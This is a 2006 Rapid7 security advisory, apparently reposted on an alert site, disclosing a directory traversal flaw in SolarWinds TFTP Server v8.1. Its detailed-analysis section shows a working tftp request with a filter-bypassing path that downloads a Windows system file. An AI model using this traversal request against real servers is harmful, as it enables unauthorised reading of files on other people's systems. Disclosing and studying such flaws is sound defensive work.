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Arrow  Topic :

Directory traversal vulnerability in SolarWinds TFTP Server for Windows


Arrow  SecurityAlert : 778
Arrow  CVE : CVE-2006-1951
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : advisory rapid7 com
Arrow  Published : 25.04.2006

Arrow  Affected Software : SolarWinds TFTP Server v8.1



Arrow  Advisory Content :  

_______________________________________________________________________
Rapid7, LLC Security Advisory
_______________________________________________________________________

Rapid7 Advisory R7-0019
Directory traversal vulnerability in SolarWinds TFTP Server for Windows

Date: April 21, 2006
Revision: 1.0
http://www.rapid7.com/advisories/R7-0019.html

CVE: CVE-2006-1951

1. Affected system(s):

KNOWN VULNERABLE:
o SolarWinds TFTP Server v8.1 and earlier

KNOWN FIXED:
o SolarWinds TFTP Server v8.2

2. Summary

Rapid7 has found a directory traversal vulnerability in SolarWinds
TFTP Server for Windows. This vulnerability allows remote users to
download any files outside of the server's TFTP data directory.

3. Vendor status and information

SolarWinds
http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/

Vendor was notified of this vulnerability. The vulnerability
is not present in the newest version of TFTP Server version 8.2,
released in September 2005.

4. Solution

Upgrade to TFTP Server version 8.2 or later.

5. Detailed analysis

TFTP servers are often used to transfer configuration files and
operating system images to routers. TFTP is also used for devices
that support PXE booting.

Most implementations do trivial filtering on requested filenames
such as "../filename" to prevent easy directory traversal.
However, it is easy to bypass this filtering by manipulating the
filename being requested.

With the SolarWinds TFTP server, any file on the system can be
downloaded using a request similar to the following:

$ tftp 192.168.0.1
tftp> get NUL/....//....//WINNT/win.ini
Received 582 bytes in 0.0 seconds
tftp> quit

$ cat win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
...

6. Credit

This vulnerability was discovered by Chad Loder of Rapid7.

7. Contact Information

Rapid7, LLC
Email: advisory (at) rapid7 (dot) com [email concealed]
Web: http://www.rapid7.com/
Phone: +1 (617) 247-1717

8. Disclaimer and Copyright

Rapid7, LLC. is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service
to the professional security community. There are NO WARRANTIES
with regard to this information. Any application or distribution of
this information constitutes acceptance AS IS, at the user's own
risk. This information is subject to change without notice.

This advisory Copyright (C) 2006 Rapid7, LLC. Permission is
hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers
remain intact.





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